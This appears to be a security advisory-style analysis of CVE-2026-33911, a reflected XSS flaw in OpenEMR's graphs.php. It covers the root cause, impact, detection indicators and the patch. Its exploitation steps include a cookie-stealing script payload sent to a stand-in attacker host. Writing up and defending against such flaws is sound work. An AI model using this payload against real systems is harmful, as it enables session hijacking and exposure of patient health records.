CVE-2026-33911: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-33911 is a reflected Cross-Site Scripting (XSS) vulnerability in OpenEMR's graphs.php file, affecting all versions prior to 8.0.0.3. The flaw arises because the POST parameter title is reflected back in a JSON response served with a text/html Content-Type instead of application/json, causing browsers to interpret injected HTML/script tags as executable content. It was disclosed on March 25, 2026, and patched in version 8.0.0.3 released the same day. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in openemr/library/ajax/graphs.php at approximately line 292, where echo json_encode($graph_build, JSON_UNESCAPED_SLASHES); outputs user-controlled data without setting the correct Content-Type: application/json header. Because the response is served as text/html, browsers parse the JSON body as HTML, allowing injected <script> tags or other HTML elements within the title POST parameter to execute as JavaScript. Exploitation requires the attacker to be authenticated and to trick a victim into triggering the crafted request (user interaction required), making this a reflected XSS with a changed scope (GitHub Advisory, Patch Commit).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript within a victim's browser session, potentially leading to session hijacking, unauthorized access to or modification of sensitive patient health records, and lateral movement within the application. Given that OpenEMR handles electronic health records (EHR) and medical practice management data, session compromise could expose protected health information (PHI) and enable unauthorized clinical or administrative actions. The vulnerability has no direct availability impact but poses low-to-moderate confidentiality and integrity risks (GitHub Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. No threat actor attribution has been identified, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires valid credentials and victim interaction, further limiting the attack surface (GitHub Advisory, Red Hat CVE).

1. Authenticate: Obtain valid credentials for an OpenEMR instance running a version prior to 8.0.0.3.
2. Identify the vulnerable endpoint: Locate the AJAX endpoint at openemr/library/ajax/graphs.php, which accepts POST requests including a title parameter.
3. Craft a malicious request: Construct a POST request to graphs.php with the title parameter containing an XSS payload, e.g., title=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the payload: Trick an authenticated victim into triggering the crafted request — for example, via a phishing link, CSRF-style embedded form, or social engineering within the application context.
5. Execute JavaScript: Because the server responds with text/html Content-Type, the victim's browser renders the injected script tag and executes the JavaScript within the victim's session.
6. Achieve objective: Harvest session cookies, perform unauthorized actions on patient records, or pivot further within the application using the victim's authenticated session (GitHub Advisory, Patch Commit).

• Network: Unusual POST requests to library/ajax/graphs.php containing HTML tags, <script>, or encoded JavaScript (e.g., %3Cscript%3E) in the title parameter; unexpected outbound connections from the OpenEMR server or client browsers to unknown external domains shortly after accessing the endpoint.
• Logs: Web server access logs showing POST requests to graphs.php with anomalous or oversized title parameter values containing angle brackets or JavaScript keywords; repeated requests from a single authenticated user to the graphs endpoint with varying payloads.
• File System: No direct file system artifacts expected for reflected XSS, but review for any newly created web shells or unauthorized file modifications if post-exploitation activity occurred.
• Process/Session: Unexpected session activity or privilege escalation events in OpenEMR audit logs following access to the graphs endpoint; user accounts performing actions inconsistent with their role shortly after the endpoint was accessed.

The primary remediation is to upgrade OpenEMR to version 8.0.0.3 or later, which fixes the issue by adding header('Content-Type: application/json'); before the json_encode() output in library/ajax/graphs.php (Patch Commit, OpenEMR Release). As interim workarounds, organizations should restrict OpenEMR access to trusted internal networks, deploy a Web Application Firewall (WAF) with rules to detect and block XSS payloads in POST parameters, and implement a Content Security Policy (CSP) header to limit script execution. Reviewing access logs for suspicious title parameter values in requests to graphs.php is also recommended.

The vulnerability was reported by security researcher MaydaySun and remediated by OpenEMR developer kojiromike, as credited in the GitHub Security Advisory (GitHub Advisory). The fix was included as part of a broader OpenEMR 8.0.0.3 security release that addressed numerous high and medium severity issues, including SQL injection, IDOR, and stored XSS vulnerabilities (OpenEMR Release). No significant broader media coverage or notable social media commentary specific to this CVE has been identified.